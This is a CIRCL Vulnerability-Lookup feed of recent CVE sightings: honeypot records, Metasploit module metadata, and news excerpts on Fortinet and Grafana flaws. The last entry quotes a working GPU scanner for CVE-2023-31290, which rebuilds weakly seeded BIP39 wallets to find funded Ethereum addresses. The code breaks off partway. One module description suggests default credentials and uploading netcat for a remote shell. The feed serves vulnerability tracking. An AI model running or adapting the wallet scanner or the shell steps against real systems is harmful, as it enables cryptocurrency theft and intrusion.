https://vulnerability.circl.lu/sightings/feed 2026-09-17T16:34:29.118619+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/8b8cca6c-fc2c-44ea-97fe-d426ed5493fe/export 2026-09-17T16:34:29.136406+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "8b8cca6c-fc2c-44ea-97fe-d426ed5493fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-09)", "content": "", "creation_timestamp": "2026-09-10T10:15:22.540798Z"} 2026-09-10T10:15:22.540798+00:00 https://vulnerability.circl.lu/sighting/43e42264-cb9f-40c8-a588-fe2c5f790b46/export 2026-09-17T16:34:29.138671+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "43e42264-cb9f-40c8-a588-fe2c5f790b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-07)", "content": "", "creation_timestamp": "2026-09-08T10:00:09.297120Z"} 2026-09-08T10:00:09.297120+00:00 https://vulnerability.circl.lu/sighting/c6533174-e34d-45ac-9ae1-1721b2333e18/export 2026-09-17T16:34:29.138810+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "c6533174-e34d-45ac-9ae1-1721b2333e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/mobile_mouse_rce.rb", "content": "{\"aliases\": [], \"arch\": \"x64, x86\", \"author\": [\"h00die\", \"CHOKRI HAMMEDI\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol\\n to deploy a payload and run it from the server. This module will only deploy\\n a payload if the server is set without a password (default).\\n Tested against 3.6.0.4, current at the time of module writing\", \"disclosure_date\": \"2022-09-20\", \"fullname\": \"exploit/windows/misc/mobile_mouse_rce\", \"is_install_path\": true, \"mod_time\": \"2025-10-06 17:15:11 +0000\", \"name\": \"Mobile Mouse RCE\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/windows/misc/mobile_mouse_rce.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"windows/misc/mobile_mouse_rce\", \"references\": [\"CVE-2023-31902\", \"EDB-51010\", \"URL-https://mobilemouse.com/\"], \"rport\": 9099, \"session_types\": false, \"targets\": [\"default\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:52:20.638340Z"} 2026-09-08T06:52:20.638340+00:00 https://vulnerability.circl.lu/sighting/cb0db1f0-4d01-4830-a38e-cd7086e7667e/export 2026-09-17T16:34:29.138933+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "cb0db1f0-4d01-4830-a38e-cd7086e7667e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31742", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Michael Messner \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"Some Linksys Routers are vulnerable to OS Command injection.\\n You will need credentials to the web interface to access the vulnerable part\\n of the application.\\n Default credentials are always a good starting point. admin/admin or admin\\n and blank password could be a first try.\\n Note: This is a blind OS command injection vulnerability. This means that\\n you will not see any output of your command. Try a ping command to your\\n local system and observe the packets with tcpdump (or equivalent) for a first test.\\n\\n Hint: To get a remote shell you could upload a netcat binary and exec it.\\n WARNING: this module will overwrite network and DHCP configuration.\", \"disclosure_date\": \"2013-01-18\", \"fullname\": \"auxiliary/admin/http/linksys_wrt54gl_exec\", \"is_install_path\": true, \"mod_time\": \"2026-02-15 20:36:01 +0000\", \"name\": \"Linksys WRT54GL Remote Command Execution\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\", \"config-changes\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb\", \"platform\": \"\", \"post_auth\": true, \"rank\": 300, \"ref_name\": \"admin/http/linksys_wrt54gl_exec\", \"references\": [\"CVE-2023-31742\", \"URL-http://www.s3cur1ty.de/m1adv2013-01\", \"URL-http://www.s3cur1ty.de/attacking-linksys-wrt54gl\", \"EDB-24202\", \"BID-57459\", \"OSVDB-89421\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:47.384008Z"} 2026-09-08T06:46:47.384008+00:00 https://vulnerability.circl.lu/sighting/6bb98c4d-ea49-432d-89a5-5a7a09bf1190/export 2026-09-17T16:34:29.139059+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "6bb98c4d-ea49-432d-89a5-5a7a09bf1190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3128", "type": "seen", "source": "https://t.me/hacking_Attack/107549", "content": "Black Hat Ethical Hacking\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC Solution\n\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC SolutionPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Fortinet Releases Updates to Address Critical Security Vulnerability in FortiNAC Network Access Control SolutionFortinet has taken swift action to address a critical security vulnerability that affects its FortiNAC network access control solution. Tracked as CVE-2023-33299, this flaw has been rated 9.6 out of 10 in terms of severity on the Common Vulnerability Scoring System (CVSS). The vulnerability is identified as a case of Java untrusted object deserialization.\n\nThe vulnerability, which involves the deserialization of untrusted data in FortiNAC, could potentially allow an unauthenticated user to execute unauthorized code or commands by exploiting specifically crafted requests to the tcp/1050 service. Fortinet issued an advisory last week, highlighting the potential risks associated with this vulnerability.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nTo mitigate the impact of this security shortcoming, Fortinet has released updates for various versions of FortiNAC. Users are strongly advised to apply the available patches, which are available for FortiNAC versions 7.2.2, 9.1.10, 9.2.8, and 9.4.3 or later. The impacted versions include FortiNAC 9.4.0 through 9.4.2, 9.2.0 through 9.2.7, 9.1.0 through 9.1.9, and 7.2.0 through 7.2.1. Additionally, Fortinet has also resolved another vulnerability, tracked as CVE-2023-33300, which affected FortiNAC versions 9.4.0 through 9.4.3 and 7.2.0 through 7.2.1. The company has fixed this medium-severity vulnerability in FortiNAC versions 7.2.2 and 9.4.4.\n\nFlorian Hauser from the German cybersecurity firm CODE WHITE is credited with discovering and reporting these vulnerabilities to Fortinet.\n\nThis security alert comes in the wake of an active exploitation of a critical vulnerability that affects FortiOS and FortiProxy, tracked as CVE-2023-27997, with a CVSS score of 9.2. This vulnerability enables remote attackers to execute arbitrary code or commands through specifically crafted requests. Fortinet recently acknowledged that this vulnerability has been exploited in targeted attacks on government, manufacturing, and critical infrastructure sectors. Consequently, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has included it in the Known Exploited Vulnerabilities (KEV) catalog.\nTrending: Exploiting LFI Vulnerabilities Trending: Offensive Security Tool: SSRFPwned\nIt is worth noting that this latest security concern follows Fortinet\u2019s earlier resolution of a severe bug in FortiNAC, identified as CVE-2022-39952, with a CVSS score of 9.8. The bug, which could lead to arbitrary code execution, gained attention after a proof-of-concept (PoC) was made available and subsequently came under active exploitation.\n\nIn a related development, Grafana, a popular software platform, has released patches to address a critical security vulnerability tracked as CVE-2023-3128. This vulnerability, if exploited, allows malicious attackers to bypass authentication and take control of user accounts that rely on Azure Active Directory for authentication. Grafana has warned that successful exploitation of this vulnerability grants the attacker complete control over a user\u2019s account, including access to private customer data and sensitive information.\n\nThese security vulnerabilities serve as critical reminders of the ongoing importance of cy[...]", "creation_timestamp": "2026-09-05T01:00:29.019413Z"} 2026-09-05T01:00:29.019413+00:00 https://vulnerability.circl.lu/sighting/468e811a-d395-46c9-b725-7a4b37af7b45/export 2026-09-17T16:34:29.139196+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "468e811a-d395-46c9-b725-7a4b37af7b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31893", "type": "seen", "source": "https://t.me/hacking_Attack/105906", "content": "Hacking on Medium\nDNS Recursion Leads to DoS Attack\u200a\u2014\u200aCVE-2023\u201331893\n\nhttps://cdn-images-1.medium.com/max/600/1*35JUOtQD8nUUIMjgIKC7lA.png \nCVE Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31893\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-05T01:00:27.724442Z"} 2026-09-05T01:00:27.724442+00:00 https://vulnerability.circl.lu/sighting/1287fecb-4f2d-4e94-8c6c-4b81d8e2ae04/export 2026-09-17T16:34:29.139302+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "1287fecb-4f2d-4e94-8c6c-4b81d8e2ae04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31893", "type": "seen", "source": "https://t.me/hacking_Attack/105906", "content": "Hacking on Medium\nDNS Recursion Leads to DoS Attack\u200a\u2014\u200aCVE-2023\u201331893\n\nhttps://cdn-images-1.medium.com/max/600/1*35JUOtQD8nUUIMjgIKC7lA.png \nCVE Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31893\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-04T13:00:03.825523Z"} 2026-09-04T13:00:03.825523+00:00 https://vulnerability.circl.lu/sighting/798797de-84cc-4d1d-9bdd-ddeecf5d7562/export 2026-09-17T16:34:29.139409+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "798797de-84cc-4d1d-9bdd-ddeecf5d7562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3128", "type": "seen", "source": "https://t.me/hacking_Attack/107549", "content": "Black Hat Ethical Hacking\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC Solution\n\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC SolutionPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Fortinet Releases Updates to Address Critical Security Vulnerability in FortiNAC Network Access Control SolutionFortinet has taken swift action to address a critical security vulnerability that affects its FortiNAC network access control solution. Tracked as CVE-2023-33299, this flaw has been rated 9.6 out of 10 in terms of severity on the Common Vulnerability Scoring System (CVSS). The vulnerability is identified as a case of Java untrusted object deserialization.\n\nThe vulnerability, which involves the deserialization of untrusted data in FortiNAC, could potentially allow an unauthenticated user to execute unauthorized code or commands by exploiting specifically crafted requests to the tcp/1050 service. Fortinet issued an advisory last week, highlighting the potential risks associated with this vulnerability.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nTo mitigate the impact of this security shortcoming, Fortinet has released updates for various versions of FortiNAC. Users are strongly advised to apply the available patches, which are available for FortiNAC versions 7.2.2, 9.1.10, 9.2.8, and 9.4.3 or later. The impacted versions include FortiNAC 9.4.0 through 9.4.2, 9.2.0 through 9.2.7, 9.1.0 through 9.1.9, and 7.2.0 through 7.2.1. Additionally, Fortinet has also resolved another vulnerability, tracked as CVE-2023-33300, which affected FortiNAC versions 9.4.0 through 9.4.3 and 7.2.0 through 7.2.1. The company has fixed this medium-severity vulnerability in FortiNAC versions 7.2.2 and 9.4.4.\n\nFlorian Hauser from the German cybersecurity firm CODE WHITE is credited with discovering and reporting these vulnerabilities to Fortinet.\n\nThis security alert comes in the wake of an active exploitation of a critical vulnerability that affects FortiOS and FortiProxy, tracked as CVE-2023-27997, with a CVSS score of 9.2. This vulnerability enables remote attackers to execute arbitrary code or commands through specifically crafted requests. Fortinet recently acknowledged that this vulnerability has been exploited in targeted attacks on government, manufacturing, and critical infrastructure sectors. Consequently, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has included it in the Known Exploited Vulnerabilities (KEV) catalog.\nTrending: Exploiting LFI Vulnerabilities Trending: Offensive Security Tool: SSRFPwned\nIt is worth noting that this latest security concern follows Fortinet\u2019s earlier resolution of a severe bug in FortiNAC, identified as CVE-2022-39952, with a CVSS score of 9.8. The bug, which could lead to arbitrary code execution, gained attention after a proof-of-concept (PoC) was made available and subsequently came under active exploitation.\n\nIn a related development, Grafana, a popular software platform, has released patches to address a critical security vulnerability tracked as CVE-2023-3128. This vulnerability, if exploited, allows malicious attackers to bypass authentication and take control of user accounts that rely on Azure Active Directory for authentication. Grafana has warned that successful exploitation of this vulnerability grants the attacker complete control over a user\u2019s account, including access to private customer data and sensitive information.\n\nThese security vulnerabilities serve as critical reminders of the ongoing importance of cy[...]", "creation_timestamp": "2026-09-04T12:00:11.880800Z"} 2026-09-04T12:00:11.880800+00:00 https://vulnerability.circl.lu/sighting/777a8e67-dc78-4c13-a543-e1e88033bd17/export 2026-09-17T16:34:29.139538+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "777a8e67-dc78-4c13-a543-e1e88033bd17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/93fa5197d28f92b1811124a85270afb0", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host: BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x) \\\n do { \\\n cudaError_t _e = (x); \\\n if (_e != cudaSuccess) { \\\n fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n exit(1); \\\n } \\\n } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n 0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n 0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n 0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n 0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n 0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n 0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n 0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n 0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n 0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n 0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n 0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n 0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n 0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n 0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n 0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n 0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n 0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n 0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n 0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n 0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8); p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n uint64_t W[80];\n#pragma unroll\n for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n for (int i = 16; i < 80; i++) {\n uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n }\n uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n for (int i = 0; i < 80; i++) {\n uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n uint64_t ch = (e & f) ^ ((~e) & g);\n uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n uint64_t t2 = S0 + maj;\n h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n }\n s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n 0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n uint8_t blk[128];\n int n = len;\n const uint8_t *p = data;\n while (n >= 128) {\n sha512_compress(st, p);\n p += 128;\n n -= 128;\n }\n memset(blk, 0, 128);\n if (n) memcpy(blk, p, n);\n blk[n] = 0x80;\n if (n >= 112) {\n sha512_compress(st, blk);\n memset(blk, 0, 128);\n }\n store_be64(blk + 120, (uint64_t)len * 8);\n sha512_compress(st, blk);\n#pragma unroll\n for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n for (int i = 0; i < 128; i++) {\n uint8_t k = (i < klen) ? key[i] : 0;\n ipad[i] = k ^ 0x36;\n opad[i] = k ^ 0x5c;\n }\n memcpy(buf, ipad, 128);\n memcpy(buf + 128, msg, mlen);\n sha512(buf, 128 + mlen, inner);\n memcpy(buf, opad, 128);\n memcpy(buf + 128, inner, 64);\n sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n /* salt = \"mnemonic\" || INT_32_BE(1) */\n uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n uint8_t u[64], t[64];\n hmac_sha512(pass, plen, salt, 12, u);\n memcpy(t, u, 64);\n for (int i = 1; i < 2048; i++) {\n hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n for (int j = 0; j < 64; j++) t[j] ^= u[j];\n }\n memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n uint32_t mt[624];\n mt[0] = seed;\n for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n /* one twist, then 32 outputs, keep first 16 bytes */\n for (int i = 0; i < 624; i++) {\n uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n if (y & 1) v ^= 0x9908b0dfu;\n mt[i] = v;\n }\n for (int i = 0; i < 16; i++) {\n uint32_t y = mt[i];\n y ^= y >> 11;\n y ^= (y << 7) & 0x9d2c5680u;\n y ^= (y << 15) & 0xefc60000u;\n y ^= y >> 18;\n ent[i] = (uint8_t)(y & 0xff);\n }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n uint32_t W[64];\n uint8_t blk[64] = {0};\n memcpy(blk, ent, 16);\n blk[16] = 0x80;\n blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n for (int i = 0; i < 16; i++)\n W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n for (int i = 16; i < 64; i++) {\n uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n }\n uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n for (int i = 0; i < 64; i++) {\n uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n uint32_t ch = (e & f) ^ ((~e) & g);\n uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n uint32_t t2 = S0 + maj;\n h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n }\n a += 0x6a09e667;\n return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n uint8_t ent[16];\n mt_entropy16(seed, ent);\n uint8_t bits[17];\n memcpy(bits, ent, 16);\n bits[16] = sha256_first_byte(ent);\n int pos = 0;\n for (int w = 0; w < 12; w++) {\n int idx = 0;\n int bit = w * 11;\n for (int j = 0; j < 11; j++) {\n int p = bit + j;\n idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n }\n int wl = D_WLEN[idx];\n if (w) mnemo[pos++] = ' ';\n for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n }\n mnemo[pos] = 0;\n return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n int i = blockIdx.x * blockDim.x + threadIdx.x;\n if (i >= n) return;\n uint8_t mnemo[128];\n int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n unsigned int olen = 64;\n return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n EC_GROUP *group;\n BN_CTX *bn;\n BIGNUM *order, *k, *t;\n EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n e->group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n e->bn = BN_CTX_new();\n e->order = BN_new();\n e->k = BN_new();\n e->t = BN_new();\n e->P = e->group ? EC_POINT_new(e->group) : NULL;\n if (!e->group || !e->bn || !e->order || !e->k || !e->t || !e->P) return -1;\n return EC_GROUP_get_order(e->group, e->order, e->bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n if (e->P) EC_POINT_free(e->P);\n if (e->t) BN_free(e->t);\n if (e->k) BN_free(e->k);\n if (e->order) BN_free(e->order);\n if (e->bn) BN_CTX_free(e->bn);\n if (e->group) EC_GROUP_free(e->group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n if (!BN_bin2bn(priv, 32, e->k)) return -1;\n if (EC_POINT_mul(e->group, e->P, e->k, NULL, NULL, e->bn) != 1) return -1;\n size_t want = compressed ? 33 : 65;\n point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n if (EC_POINT_point2oct(e->group, e->P, form, out, want, e->bn) != want) return -1;\n return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n if (!BN_bin2bn(key, 32, e->k) || !BN_bin2bn(il, 32, e->t)) return -1;\n if (BN_is_zero(e->t) || BN_cmp(e->t, e->order) >= 0) return -1;\n if (BN_mod_add(e->k, e->k, e->t, e->order, e->bn) != 1) return -1;\n if (BN_is_zero(e->k)) return -1;\n return BN_bn2binpad(e->k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n uint8_t data[37], I[64];\n if 